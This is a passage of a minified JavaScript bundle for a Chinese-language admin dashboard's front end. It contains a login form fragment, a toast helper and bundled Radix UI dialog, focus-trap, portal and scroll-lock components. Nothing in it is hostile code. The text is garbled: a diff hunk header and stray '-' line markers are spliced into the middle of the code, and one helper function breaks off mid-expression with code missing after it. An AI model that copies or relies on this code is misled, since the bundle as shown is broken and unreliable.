text-white placeholder:text-gray-500 focus:border-[#38bdac]",onKeyDown:f=>f.key==="Enter"&&h()})]})]}),i&&s.jsx("div",{className:"bg-red-500/10 text-red-400 text-sm p-3 rounded-lg border border-red-500/20",children:i}),s.jsx(te,{onClick:h,disabled:c,className:"w-full bg-[#38bdac] hover:bg-[#2da396] text-white py-5 disabled:opacity-50",children:c?"登录中...":"登录"})]})]}),s.jsx("p",{className:"text-center text-gray-500 text-xs mt-6",children:"Soul创业实验场 · 后台管理系统"})]})]})}const Ce=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("rounded-xl border bg-card text-card-foreground shadow",t),...e}));Ce.displayName="Card";const Ye=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("flex flex-col space-y-1.5 p-6",t),...e}));Ye.displayName="CardHeader";const Qe=b.forwardRef(({className:t,...e},n)=>s.jsx("h3",{ref:n,className:Et("font-semibold leading-none tracking-tight",t),...e}));Qe.displayName="CardTitle";const It=b.forwardRef(({className:t,...e},n)=>s.jsx("p",{ref:n,className:Et("text-sm text-muted-foreground",t),...e}));It.displayName="CardDescription";const Ee=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("p-6 pt-0",t),...e}));Ee.displayName="CardContent";const rI=b.forwardRef(({className:t,...e},n)=>s.jsx("div",{ref:n,className:Et("flex items-center p-6 pt-0",t),...e}));rI.displayName="CardFooter";const sI={success:{bg:"#f0fdf4",border:"#22c55e",icon:"✓"},error:{bg:"#fef2f2",border:"#ef4444",icon:"✕"},info:{bg:"#eff6ff",border:"#3b82f6",icon:"ℹ"}};function Rm(t,e="info",n=3e3){const r=`toast-${Date.now()}`,a=sI[e],i=document.createElement("div");i.id=r,i.setAttribute("role","alert"),Object.assign(i.style,{position:"fixed",top:"24px",right:"24px",zIndex:"9999",display:"flex",alignItems:"center",gap:"10px",padding:"12px 18px",borderRadius:"10px",background:a.bg,border:`1.5px solid ${a.border}`,boxShadow:"0 4px 20px rgba(0,0,0,.12)",fontSize:"14px",color:"#1a1a1a",fontWeight:"500",maxWidth:"380px",lineHeight:"1.5",opacity:"0",transform:"translateY(-8px)",transition:"opacity .22s ease, transform .22s ease",pointerEvents:"none"});const o=document.createElement("span");Object.assign(o.style,{width:"20px",height:"20px",borderRadius:"50%",background:a.border,color:"#fff",display:"flex",alignItems:"center",justifyContent:"center",fontSize:"12px",fontWeight:"700",flexShrink:"0"}),o.textContent=a.icon;const c=document.createElement("span");c.textContent=t,i.appendChild(o),i.appendChild(c),document.body.appendChild(i),requestAnimationFrame(()=>{i.style.opacity="1",i.style.transform="translateY(0)"});const u=setTimeout(()=>h(r),n);function h(f){clearTimeout(u);const m=document.getElementById(f);m&&(m.style.opacity="0",m.style.transform="translateY(-8px)",setTimeout(()=>{var g;return(g=m.parentNode)==null?void 0:g.removeChild(m)},250))}}const ie={success:(t,e)=>Rm(t,"success",e),error:(t,e)=>Rm(t,"error",e),info:(t,e)=>Rm(t,"info",e)};function ot(t,e,{checkForDefaultPrevented:n=!0}={}){return function(a){if(t==null||t(a),n===!1||!a.defaultPrevented)return e==null?void 0:e(a)}}function aI(t,e){const n=b.createContext(e),r=i=>{const{children:o,...c}=i,u=b.useMemo(()=>c,Object.values(c));return s.jsx(n.Provider,{value:u,children:o})};r.displayName=t+"Provider";function a(i){const o=b.useContext(n);if(o)return o;if(e!==void 0)return e;throw new Error(`\`${i}\` must be used within \`${t}\``)}return[r,a]}function Ei(t,e=[]){let n=[];function r(i,o){const c=b.createContext(o),u=n.length;n=[...n,o];const h=m=>{var k;const{scope:g,children:y,...N}=m,w=((k=g==null?void 0:g[t])==null?void 0:k[u])||c,v=b.useMemo(()=>N,Object.values(N));return s.jsx(w.Provider,{value:v,children:y})};h.displayName=i+"Provider";function f(m,g){var w;const y=((w=g==null?void 0:g[t])==null?void 0:w[u])||c,N=b.useContext(y);if(N)return N;if(o!==void 0)return o;throw new Error(`\`${m}\` must be used within \`${i}\``)}return[h,f]}const a=()=>{const i=n.map(o=>b.createContext(o));return function(c){const u=(c==null?void 0:c[t])||i;return b.useMemo(()=>({[`__scope${t}`]:{...c,[t]:u}}),[c,u])}};return a.scopeName=t,[r,iI(a,...e)]}function iI(...t){const e=t[0];if(t.length===1)return e;const n=()=>{const r=t.map(a=>({useScope:a(),scopeName:a.scopeName}));return function(i){const o=r.reduce((c,{useScope:u,scopeName:h})=>{const m=u(i)[`__scope${h}`];return{...c,...m}},{});return b.useMemo(()=>({[`__scope${e.scopeName}`]:o}),[o])}};return n.scopeName=e.scopeName,n}var or=globalThis!=null&&globalThis.document?b.useLayoutEffect:()=>{},oI=uf[" useId ".trim().toString()]||(()=>{}),lI=0;function fi(t){const[e,n]=b.useState(oI());return or(()=>{n(r=>r??String(lI++))},[t]),e?`radix-${e}`:""}var cI=uf[" useInsertionEffect ".trim().toString()]||or;function xo({prop:t,defaultProp:e,onChange:n=()=>{},caller:r}){const[a,i,o]=dI({defaultProp:e,onChange:n}),c=t!==void 0,u=c?t:a;{const f=b.useRef(t!==void 0);b.useEffect(()=>{const m=f.current;m!==c&&console.warn(`${r} is changing from ${m?"controlled":"uncontrolled"} to ${c?"controlled":"uncontrolled"}. Components should not switch from controlled to uncontrolled (or vice versa). Decide between using a controlled or uncontrolled value for the lifetime of the component.`),f.current=c},[c,r])}const h=b.useCallback(f=>{var m;if(c){const g=uI(f)?f(t):f;g!==t&&((m=o.current)==null||m.call(o,g))}else i(f)},[c,t,i,o]);return[u,h]}function dI({defaultProp:t,onChange:e}){const[n,r]=b.useState(t),a=b.useRef(n),i=b.useRef(e);return cI(()=>{i.current=e},[e]),b.useEffect(()=>{var o;a.current!==n&&((o=i.current)==null||o.call(i,n),a.current=n)},[n,a]),[n,r,i]}function uI(t){return typeof t=="function"}function ed(t){const e=hI(t),n=b.forwardRef((r,a)=>{const{children:i,...o}=r,c=b.Children.toArray(i),u=c.find(pI);if(u){const h=u.props.children,f=c.map(m=>m===u?b.Children.count(h)>1?b.Children.only(null):b.isValidElement(h)?h.props.children:null:m);return s.jsx(e,{...o,ref:a,children:b.isValidElement(h)?b.cloneElement(h,void 0,f):null})}return s.jsx(e,{...o,ref:a,children:i})});return n.displayName=`${t}.Slot`,n}function hI(t){const e=b.forwardRef((n,r)=>{const{children:a,...i}=n;if(b.isValidElement(a)){const o=gI(a),c=mI(i,a.props);return a.type!==b.Fragment&&(c.ref=r?Hx(r,o):o),b.cloneElement(a,c)}return b.Children.count(a)>1?b.Children.only(null):null});return e.displayName=`${t}.SlotClone`,e}var fI=Symbol("radix.slottable");function pI(t){return b.isValidElement(t)&&typeof t.type=="function"&&"__radixId"in t.type&&t.type.__radixId===fI}function mI(t,e){const n={...e};for(const r in e){const a=t[r],i=e[r];/^on[A-Z]/.test(r)?a&&i?n[r]=(...c)=>{const u=i(...c);return a(...c),u}:a&&(n[r]=a):r==="style"?n[r]={...a,...i}:r==="className"&&(n[r]=[a,i].filter(Boolean).join(" "))}return{...t,...n}}function gI(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}var xI=["a","button","div","form","h2","h3","img","input","label","li","nav","ol","p","select","span","svg","ul"],ht=xI.reduce((t,e)=>{const n=ed(`Primitive.${e}`),r=b.forwardRef((a,i)=>{const{asChild:o,...c}=a,u=o?n:e;return typeof window<"u"&&(window[Symbol.for("radix-ui")]=!0),s.jsx(u,{...c,ref:i})});return r.displayName=`Primitive.${e}`,{...t,[e]:r}},{});function yI(t,e){t&&md.flushSync(()=>t.dispatchEvent(e))}function bi(t){const e=b.useRef(t);return b.useEffect(()=>{e.current=t}),b.useMemo(()=>(...n)=>{var r;return(r=e.current)==null?void 0:r.call(e,...n)},[])}function bI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t);b.useEffect(()=>{const r=a=>{a.key==="Escape"&&n(a)};return e.addEventListener("keydown",r,{capture:!0}),()=>e.removeEventListener("keydown",r,{capture:!0})},[n,e])}var vI="DismissableLayer",zg="dismissableLayer.update",NI="dismissableLayer.pointerDownOutside",wI="dismissableLayer.focusOutside",Xv,wj=b.createContext({layers:new Set,layersWithOutsidePointerEventsDisabled:new Set,branches:new Set}),Ux=b.forwardRef((t,e)=>{const{disableOutsidePointerEvents:n=!1,onEscapeKeyDown:r,onPointerDownOutside:a,onFocusOutside:i,onInteractOutside:o,onDismiss:c,...u}=t,h=b.useContext(wj),[f,m]=b.useState(null),g=(f==null?void 0:f.ownerDocument)??(globalThis==null?void 0:globalThis.document),[,y]=b.useState({}),N=Ct(e,L=>m(L)),w=Array.from(h.layers),[v]=[...h.layersWithOutsidePointerEventsDisabled].slice(-1),k=w.indexOf(v),C=f?w.indexOf(f):-1,E=h.layersWithOutsidePointerEventsDisabled.size>0,T=C>=k,I=SI(L=>{const R=L.target,D=[...h.branches].some(z=>z.contains(R));!T||D||(a==null||a(L),o==null||o(L),L.defaultPrevented||c==null||c())},g),O=CI(L=>{const R=L.target;[...h.branches].some(z=>z.contains(R))||(i==null||i(L),o==null||o(L),L.defaultPrevented||c==null||c())},g);return bI(L=>{C===h.layers.size-1&&(r==null||r(L),!L.defaultPrevented&&c&&(L.preventDefault(),c()))},g),b.useEffect(()=>{if(f)return n&&(h.layersWithOutsidePointerEventsDisabled.size===0&&(Xv=g.body.style.pointerEvents,g.body.style.pointerEvents="none"),h.layersWithOutsidePointerEventsDisabled.add(f)),h.layers.add(f),Zv(),()=>{n&&h.layersWithOutsidePointerEventsDisabled.size===1&&(g.body.style.pointerEvents=Xv)}},[f,g,n,h]),b.useEffect(()=>()=>{f&&(h.layers.delete(f),h.layersWithOutsidePointerEventsDisabled.delete(f),Zv())},[f,h]),b.useEffect(()=>{const L=()=>y({});return document.addEventListener(zg,L),()=>document.removeEventListener(zg,L)},[]),s.jsx(ht.div,{...u,ref:N,style:{pointerEvents:E?T?"auto":"none":void 0,...t.style},onFocusCapture:ot(t.onFocusCapture,O.onFocusCapture),onBlurCapture:ot(t.onBlurCapture,O.onBlurCapture),onPointerDownCapture:ot(t.onPointerDownCapture,I.onPointerDownCapture)})});Ux.displayName=vI;var jI="DismissableLayerBranch",kI=b.forwardRef((t,e)=>{const n=b.useContext(wj),r=b.useRef(null),a=Ct(e,r);return b.useEffect(()=>{const i=r.current;if(i)return n.branches.add(i),()=>{n.branches.delete(i)}},[n.branches]),s.jsx(ht.div,{...t,ref:a})});kI.displayName=jI;function SI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t),r=b.useRef(!1),a=b.useRef(()=>{});return b.useEffect(()=>{const i=c=>{if(c.target&&!r.current){let u=function(){jj(NI,n,h,{discrete:!0})};const h={originalEvent:c};c.pointerType==="touch"?(e.removeEventListener("click",a.current),a.current=u,e.addEventListener("click",a.current,{once:!0})):u()}else e.removeEventListener("click",a.current);r.current=!1},o=window.setTimeout(()=>{e.addEventListener("pointerdown",i)},0);return()=>{window.clearTimeout(o),e.removeEventListener("pointerdown",i),e.removeEventListener("click",a.current)}},[e,n]),{onPointerDownCapture:()=>r.current=!0}}function CI(t,e=globalThis==null?void 0:globalThis.document){const n=bi(t),r=b.useRef(!1);return b.useEffect(()=>{const a=i=>{i.target&&!r.current&&jj(wI,n,{originalEvent:i},{discrete:!1})};return e.addEventListener("focusin",a),()=>e.removeEventListener("focusin",a)},[e,n]),{onFocusCapture:()=>r.current=!0,onBlurCapture:()=>r.current=!1}}function Zv(){const t=new CustomEvent(zg);document.dispatchEvent(t)}function jj(t,e,n,{discrete:r}){const a=n.originalEvent.target,i=new CustomEvent(t,{bubbles:!1,cancelable:!0,detail:n});e&&a.addEventListener(t,e,{once:!0}),r?yI(a,i):a.dispatchEvent(i)}var Pm="focusScope.autoFocusOnMount",Om="focusScope.autoFocusOnUnmount",e1={bubbles:!1,cancelable:!0},EI="FocusScope",Kx=b.forwardRef((t,e)=>{const{loop:n=!1,trapped:r=!1,onMountAutoFocus:a,onUnmountAutoFocus:i,...o}=t,[c,u]=b.useState(null),h=bi(a),f=bi(i),m=b.useRef(null),g=Ct(e,w=>u(w)),y=b.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;b.useEffect(()=>{if(r){let w=function(E){if(y.paused||!c)return;const T=E.target;c.contains(T)?m.current=T:Za(m.current,{select:!0})},v=function(E){if(y.paused||!c)return;const T=E.relatedTarget;T!==null&&(c.contains(T)||Za(m.current,{select:!0}))},k=function(E){if(document.activeElement===document.body)for(const I of E)I.removedNodes.length>0&&Za(c)};document.addEventListener("focusin",w),document.addEventListener("focusout",v);const C=new MutationObserver(k);return c&&C.observe(c,{childList:!0,subtree:!0}),()=>{document.removeEventListener("focusin",w),document.removeEventListener("focusout",v),C.disconnect()}}},[r,c,y.paused]),b.useEffect(()=>{if(c){n1.add(y);const w=document.activeElement;if(!c.contains(w)){const k=new CustomEvent(Pm,e1);c.addEventListener(Pm,h),c.dispatchEvent(k),k.defaultPrevented||(TI(PI(kj(c)),{select:!0}),document.activeElement===w&&Za(c))}return()=>{c.removeEventListener(Pm,h),setTimeout(()=>{const k=new CustomEvent(Om,e1);c.addEventListener(Om,f),c.dispatchEvent(k),k.defaultPrevented||Za(w??document.body,{select:!0}),c.removeEventListener(Om,f),n1.remove(y)},0)}}},[c,h,f,y]);const N=b.useCallback(w=>{if(!n&&!r||y.paused)return;const v=w.key==="Tab"&&!w.altKey&&!w.ctrlKey&&!w.metaKey,k=document.activeElement;if(v&&k){const C=w.currentTarget,[E,T]=MI(C);E&&T?!w.shiftKey&&k===T?(w.preventDefault(),n&&Za(E,{select:!0})):w.shiftKey&&k===E&&(w.preventDefault(),n&&Za(T,{select:!0})):k===C&&w.preventDefault()}},[n,r,y.paused]);return s.jsx(ht.div,{tabIndex:-1,...o,ref:g,onKeyDown:N})});Kx.displayName=EI;function TI(t,{select:e=!1}={}){const n=document.activeElement;for(const r of t)if(Za(r,{select:e}),document.activeElement!==n)return}function MI(t){const e=kj(t),n=t1(e,t),r=t1(e.reverse(),t);return[n,r]}function kj(t){const e=[],n=document.createTreeWalker(t,NodeFilter.SHOW_ELEMENT,{acceptNode:r=>{const a=r.tagName==="INPUT"&&r.type==="hidden";return r.disabled||r.hidden||a?NodeFilter.FILTER_SKIP:r.tabIndex>=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;n.nextNode();)e.push(n.currentNode);return e}function t1(t,e){for(const n of t)if(!AI(n,{upTo:e}))return n}function AI(t,{upTo:e}){if(getComputedStyle(t).visibility==="hidden")return!0;for(;t;){if(e!==void 0&&t===e)return!1;if(getComputedStyle(t).display==="none")return!0;t=t.parentElement}return!1}function II(t){return t instanceof HTMLInputElement&&"select"in t}function Za(t,{select:e=!1}={}){if(t&&t.focus){const n=document.activeElement;t.focus({preventScroll:!0}),t!==n&&II(t)&&e&&t.select()}}var n1=RI();function RI(){let t=[];return{add(e){const n=t[0];e!==n&&(n==null||n.pause()),t=r1(t,e),t.unshift(e)},remove(e){var n;t=r1(t,e),(n=t[0])==null||n.resume()}}}function r1(t,e){const n=[...t],r=n.indexOf(e);return r!==-1&&n.splice(r,1),n}function PI(t){return t.filter(e=>e.tagName!=="A")}var OI="Portal",qx=b.forwardRef((t,e)=>{var c;const{container:n,...r}=t,[a,i]=b.useState(!1);or(()=>i(!0),[]);const o=n||a&&((c=globalThis==null?void 0:globalThis.document)==null?void 0:c.body);return o?Ow.createPortal(s.jsx(ht.div,{...r,ref:e}),o):null});qx.displayName=OI;function DI(t,e){return b.useReducer((n,r)=>e[n][r]??n,t)}var gd=t=>{const{present:e,children:n}=t,r=LI(e),a=typeof n=="function"?n({present:r.isPresent}):b.Children.only(n),i=Ct(r.ref,_I(a));return typeof n=="function"||r.isPresent?b.cloneElement(a,{ref:i}):null};gd.displayName="Presence";function LI(t){const[e,n]=b.useState(),r=b.useRef(null),a=b.useRef(t),i=b.useRef("none"),o=t?"mounted":"unmounted",[c,u]=DI(o,{mounted:{UNMOUNT:"unmounted",ANIMATION_OUT:"unmountSuspended"},unmountSuspended:{MOUNT:"mounted",ANIMATION_END:"unmounted"},unmounted:{MOUNT:"mounted"}});return b.useEffect(()=>{const h=Mu(r.current);i.current=c==="mounted"?h:"none"},[c]),or(()=>{const h=r.current,f=a.current;if(f!==t){const g=i.current,y=Mu(h);t?u("MOUNT"):y==="none"||(h==null?void 0:h.display)==="none"?u("UNMOUNT"):u(f&&g!==y?"ANIMATION_OUT":"UNMOUNT"),a.current=t}},[t,u]),or(()=>{if(e){let h;const f=e.ownerDocument.defaultView??window,m=y=>{const w=Mu(r.current).includes(CSS.escape(y.animationName));if(y.target===e&&w&&(u("ANIMATION_END"),!a.current)){const v=e.style.animationFillMode;e.style.animationFillMode="forwards",h=f.setTimeout(()=>{e.style.animationFillMode==="forwards"&&(e.style.animationFillMode=v)})}},g=y=>{y.target===e&&(i.current=Mu(r.current))};return e.addEventListener("animationstart",g),e.addEventListener("animationcancel",m),e.addEventListener("animationend",m),()=>{f.clearTimeout(h),e.removeEventListener("animationstart",g),e.removeEventListener("animationcancel",m),e.removeEventListener("animationend",m)}}else u("ANIMATION_END")},[e,u]),{isPresent:["mounted","unmountSuspended"].includes(c),ref:b.useCallback(h=>{r.current=h?getComputedStyle(h):null,n(h)},[])}}function Mu(t){return(t==null?void 0:t.animationName)||"none"}function _I(t){var r,a;let e=(r=Object.getOwnPropertyDescriptor(t.props,"ref"))==null?void 0:r.get,n=e&&"isReactWarning"in e&&e.isReactWarning;return n?t.ref:(e=(a=Object.getOwnPropertyDescriptor(t,"ref"))==null?void 0:a.get,n=e&&"isReactWarning"in e&&e.isReactWarning,n?t.props.ref:t.props.ref||t.ref)}var Dm=0;function Sj(){b.useEffect(()=>{const t=document.querySelectorAll("[data-radix-focus-guard]");return document.body.insertAdjacentElement("afterbegin",t[0]??s1()),document.body.insertAdjacentElement("beforeend",t[1]??s1()),Dm++,()=>{Dm===1&&document.querySelectorAll("[data-radix-focus-guard]").forEach(e=>e.remove()),Dm--}},[])}function s1(){const t=document.createElement("span");return t.setAttribute("data-radix-focus-guard",""),t.tabIndex=0,t.style.outline="none",t.style.opacity="0",t.style.position="fixed",t.style.pointerEvents="none",t}var Vs=function(){return Vs=Object.assign||function(e){for(var n,r=1,a=arguments.length;r"u")return eR;var e=tR(t),n=document.documentElement.clientWidth,r=window.innerWidth;return{left:e[0],top:e[1],right:e[2],gap:Math.max(0,r-n+e[2]-e[0])}},rR=Mj(),bl="data-scroll-locked",sR=function(t,e,n,r){var a=t.left,i=t.top,o=t.right,c=t.gap;return n===void 0&&(n="margin"),` .`.concat($I,` { overflow: hidden `).concat(r,`; padding-right: `).concat(c,"px ").concat(r,`; @@ -579,20 +579,20 @@ Error generating stack: `+S.message+` `)},i1=function(){var t=parseInt(document.body.getAttribute(bl)||"0",10);return isFinite(t)?t:0},aR=function(){b.useEffect(function(){return document.body.setAttribute(bl,(i1()+1).toString()),function(){var t=i1()-1;t<=0?document.body.removeAttribute(bl):document.body.setAttribute(bl,t.toString())}},[])},iR=function(t){var e=t.noRelative,n=t.noImportant,r=t.gapMode,a=r===void 0?"margin":r;aR();var i=b.useMemo(function(){return nR(a)},[a]);return b.createElement(rR,{styles:sR(i,!e,a,n?"":"!important")})},$g=!1;if(typeof window<"u")try{var Au=Object.defineProperty({},"passive",{get:function(){return $g=!0,!0}});window.addEventListener("test",Au,Au),window.removeEventListener("test",Au,Au)}catch{$g=!1}var sl=$g?{passive:!1}:!1,oR=function(t){return t.tagName==="TEXTAREA"},Aj=function(t,e){if(!(t instanceof Element))return!1;var n=window.getComputedStyle(t);return n[e]!=="hidden"&&!(n.overflowY===n.overflowX&&!oR(t)&&n[e]==="visible")},lR=function(t){return Aj(t,"overflowY")},cR=function(t){return Aj(t,"overflowX")},o1=function(t,e){var n=e.ownerDocument,r=e;do{typeof ShadowRoot<"u"&&r instanceof ShadowRoot&&(r=r.host);var a=Ij(t,r);if(a){var i=Rj(t,r),o=i[1],c=i[2];if(o>c)return!0}r=r.parentNode}while(r&&r!==n.body);return!1},dR=function(t){var e=t.scrollTop,n=t.scrollHeight,r=t.clientHeight;return[e,n,r]},uR=function(t){var e=t.scrollLeft,n=t.scrollWidth,r=t.clientWidth;return[e,n,r]},Ij=function(t,e){return t==="v"?lR(e):cR(e)},Rj=function(t,e){return t==="v"?dR(e):uR(e)},hR=function(t,e){return t==="h"&&e==="rtl"?-1:1},fR=function(t,e,n,r,a){var i=hR(t,window.getComputedStyle(e).direction),o=i*r,c=n.target,u=e.contains(c),h=!1,f=o>0,m=0,g=0;do{if(!c)break;var y=Rj(t,c),N=y[0],w=y[1],v=y[2],k=w-v-i*N;(N||k)&&Ij(t,c)&&(m+=k,g+=N);var C=c.parentNode;c=C&&C.nodeType===Node.DOCUMENT_FRAGMENT_NODE?C.host:C}while(!u&&c!==document.body||u&&(e.contains(c)||e===c));return(f&&Math.abs(m)<1||!f&&Math.abs(g)<1)&&(h=!0),h},Iu=function(t){return"changedTouches"in t?[t.changedTouches[0].clientX,t.changedTouches[0].clientY]:[0,0]},l1=function(t){return[t.deltaX,t.deltaY]},c1=function(t){return t&&"current"in t?t.current:t},pR=function(t,e){return t[0]===e[0]&&t[1]===e[1]},mR=function(t){return` .block-interactivity-`.concat(t,` {pointer-events: none;} .allow-interactivity-`).concat(t,` {pointer-events: all;} -`)},gR=0,al=[];function xR(t){var e=b.useRef([]),n=b.useRef([0,0]),r=b.useRef(),a=b.useState(gR++)[0],i=b.useState(Mj)[0],o=b.useRef(t);b.useEffect(function(){o.current=t},[t]),b.useEffect(function(){if(t.inert){document.body.classList.add("block-interactivity-".concat(a));var w=zI([t.lockRef.current],(t.shards||[]).map(c1),!0).filter(Boolean);return w.forEach(function(v){return v.classList.add("allow-interactivity-".concat(a))}),function(){document.body.classList.remove("block-interactivity-".concat(a)),w.forEach(function(v){return v.classList.remove("allow-interactivity-".concat(a))})}}},[t.inert,t.lockRef.current,t.shards]);var c=b.useCallback(function(w,v){if("touches"in w&&w.touches.length===2||w.type==="wheel"&&w.ctrlKey)return!o.current.allowPinchZoom;var k=Iu(w),C=n.current,E="deltaX"in w?w.deltaX:C[0]-k[0],T="deltaY"in w?w.deltaY:C[1]-k[1],I,O=w.target,L=Math.abs(E)>Math.abs(T)?"h":"v";if("touches"in w&&L==="h"&&O.type==="range")return!1;var R=window.getSelection(),D=R&&R.anchorNode,_=D?D===O||D.contains(O):!1;if(_)return!1;var Z=o1(L,O);if(!Z)return!0;if(Z?I=L:(I=L==="v"?"h":"v",Z=o1(L,O)),!Z)return!1;if(!r.current&&"changedTouches"in w&&(E||T)&&(r.current=I),!I)return!0;var ne=r.current||I;return fR(ne,v,w,ne==="h"?E:T)},[]),u=b.useCallback(function(w){var v=w;if(!(!al.length||al[al.length-1]!==i)){var k="deltaY"in v?l1(v):Iu(v),C=e.current.filter(function(I){return I.name===v.type&&(I.target===v.target||v.target===I.shadowParent)&&pR(I.delta,k)})[0];if(C&&C.should){v.cancelable&&v.preventDefault();return}if(!C){var E=(o.current.shards||[]).map(c1).filter(Boolean).filter(function(I){return I.contains(v.target)}),T=E.length>0?c(v,E[0]):!o.current.noIsolation;T&&v.cancelable&&v.preventDefault()}}},[]),h=b.useCallback(function(w,v,k,C){var E={name:w,delta:v,target:k,should:C,shadowParent:yR(k)};e.current.push(E),setTimeout(function(){e.current=e.current.filter(function(T){return T!==E})},1)},[]),f=b.useCallback(function(w){n.current=Iu(w),r.current=void 0},[]),m=b.useCallback(function(w){h(w.type,l1(w),w.target,c(w,t.lockRef.current))},[]),g=b.useCallback(function(w){h(w.type,Iu(w),w.target,c(w,t.lockRef.current))},[]);b.useEffect(function(){return al.push(i),t.setCallbacks({onScrollCapture:m,onWheelCapture:m,onTouchMoveCapture:g}),document.addEventListener("wheel",u,sl),document.addEventListener("touchmove",u,sl),document.addEventListener("touchstart",f,sl),function(){al=al.filter(function(w){return w!==i}),document.removeEventListener("wheel",u,sl),document.removeEventListener("touchmove",u,sl),document.removeEventListener("touchstart",f,sl)}},[]);var y=t.removeScrollBar,N=t.inert;return b.createElement(b.Fragment,null,N?b.createElement(i,{styles:mR(a)}):null,y?b.createElement(iR,{noRelative:t.noRelative,gapMode:t.gapMode}):null)}function yR(t){for(var e=null;t!==null;)t instanceof ShadowRoot&&(e=t.host,t=t.host),t=t.parentNode;return e}const bR=qI(Tj,xR);var Gx=b.forwardRef(function(t,e){return b.createElement(gf,Vs({},t,{ref:e,sideCar:bR}))});Gx.classNames=gf.classNames;var vR=function(t){if(typeof document>"u")return null;var e=Array.isArray(t)?t[0]:t;return e.ownerDocument.body},il=new WeakMap,Ru=new WeakMap,Pu={},$m=0,Pj=function(t){return t&&(t.host||Pj(t.parentNode))},NR=function(t,e){return e.map(function(n){if(t.contains(n))return n;var r=Pj(n);return r&&t.contains(r)?r:(console.error("aria-hidden",n,"in not contained inside",t,". Doing nothing"),null)}).filter(function(n){return!!n})},wR=function(t,e,n,r){var a=NR(e,Array.isArray(t)?t:[t]);Pu[n]||(Pu[n]=new WeakMap);var i=Pu[n],o=[],c=new Set,u=new Set(a),h=function(m){!m||c.has(m)||(c.add(m),h(m.parentNode))};a.forEach(h);var f=function(m){!m||u.has(m)||Array.prototype.forEach.call(m.children,function(g){if(c.has(g))f(g);else try{var y=g.getAttribute(r),N=y!==null&&y!=="false",w=(il.get(g)||0)+1,v=(i.get(g)||0)+1;il.set(g,w),i.set(g,v),o.push(g),w===1&&N&&Ru.set(g,!0),v===1&&g.setAttribute(n,"true"),N||g.setAttribute(r,"true")}catch(k){console.error("aria-hidden: cannot operate on ",g,k)}})};return f(e),c.clear(),$m++,function(){o.forEach(function(m){var g=il.get(m)-1,y=i.get(m)-1;il.set(m,g),i.set(m,y),g||(Ru.has(m)||m.removeAttribute(r),Ru.delete(m)),y||m.removeAttribute(n)}),$m--,$m||(il=new WeakMap,il=new WeakMap,Ru=new WeakMap,Pu={})}},Oj=function(t,e,n){n===void 0&&(n="data-aria-hidden");var r=Array.from(Array.isArray(t)?t:[t]),a=vR(t);return a?(r.push.apply(r,Array.from(a.querySelectorAll("[aria-live], script"))),wR(r,a,n,"aria-hidden")):function(){return null}},xf="Dialog",[Dj]=Ei(xf),[jR,Ts]=Dj(xf),Lj=t=>{const{__scopeDialog:e,children:n,open:r,defaultOpen:a,onOpenChange:i,modal:o=!0}=t,c=b.useRef(null),u=b.useRef(null),[h,f]=xo({prop:r,defaultProp:a??!1,onChange:i,caller:xf});return s.jsx(jR,{scope:e,triggerRef:c,contentRef:u,contentId:fi(),titleId:fi(),descriptionId:fi(),open:h,onOpenChange:f,onOpenToggle:b.useCallback(()=>f(m=>!m),[f]),modal:o,children:n})};Lj.displayName=xf;var _j="DialogTrigger",kR=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(_j,n),i=Ct(e,a.triggerRef);return s.jsx(ht.button,{type:"button","aria-haspopup":"dialog","aria-expanded":a.open,"aria-controls":a.contentId,"data-state":Qx(a.open),...r,ref:i,onClick:ot(t.onClick,a.onOpenToggle)})});kR.displayName=_j;var Jx="DialogPortal",[SR,zj]=Dj(Jx,{forceMount:void 0}),$j=t=>{const{__scopeDialog:e,forceMount:n,children:r,container:a}=t,i=Ts(Jx,e);return s.jsx(SR,{scope:e,forceMount:n,children:b.Children.map(r,o=>s.jsx(gd,{present:n||i.open,children:s.jsx(qx,{asChild:!0,container:a,children:o})}))})};$j.displayName=Jx;var ph="DialogOverlay",Fj=b.forwardRef((t,e)=>{const n=zj(ph,t.__scopeDialog),{forceMount:r=n.forceMount,...a}=t,i=Ts(ph,t.__scopeDialog);return i.modal?s.jsx(gd,{present:r||i.open,children:s.jsx(ER,{...a,ref:e})}):null});Fj.displayName=ph;var CR=ed("DialogOverlay.RemoveScroll"),ER=b.forwardRef((t,e)=>{const{__scopeDialog:n,...r}=t,a=Ts(ph,n);return s.jsx(Gx,{as:CR,allowPinchZoom:!0,shards:[a.contentRef],children:s.jsx(ht.div,{"data-state":Qx(a.open),...r,ref:e,style:{pointerEvents:"auto",...r.style}})})}),yo="DialogContent",Bj=b.forwardRef((t,e)=>{const n=zj(yo,t.__scopeDialog),{forceMount:r=n.forceMount,...a}=t,i=Ts(yo,t.__scopeDialog);return s.jsx(gd,{present:r||i.open,children:i.modal?s.jsx(TR,{...a,ref:e}):s.jsx(MR,{...a,ref:e})})});Bj.displayName=yo;var TR=b.forwardRef((t,e)=>{const n=Ts(yo,t.__scopeDialog),r=b.useRef(null),a=Ct(e,n.contentRef,r);return b.useEffect(()=>{const i=r.current;if(i)return Oj(i)},[]),s.jsx(Vj,{...t,ref:a,trapFocus:n.open,disableOutsidePointerEvents:!0,onCloseAutoFocus:ot(t.onCloseAutoFocus,i=>{var o;i.preventDefault(),(o=n.triggerRef.current)==null||o.focus()}),onPointerDownOutside:ot(t.onPointerDownOutside,i=>{const o=i.detail.originalEvent,c=o.button===0&&o.ctrlKey===!0;(o.button===2||c)&&i.preventDefault()}),onFocusOutside:ot(t.onFocusOutside,i=>i.preventDefault())})}),MR=b.forwardRef((t,e)=>{const n=Ts(yo,t.__scopeDialog),r=b.useRef(!1),a=b.useRef(!1);return s.jsx(Vj,{...t,ref:e,trapFocus:!1,disableOutsidePointerEvents:!1,onCloseAutoFocus:i=>{var 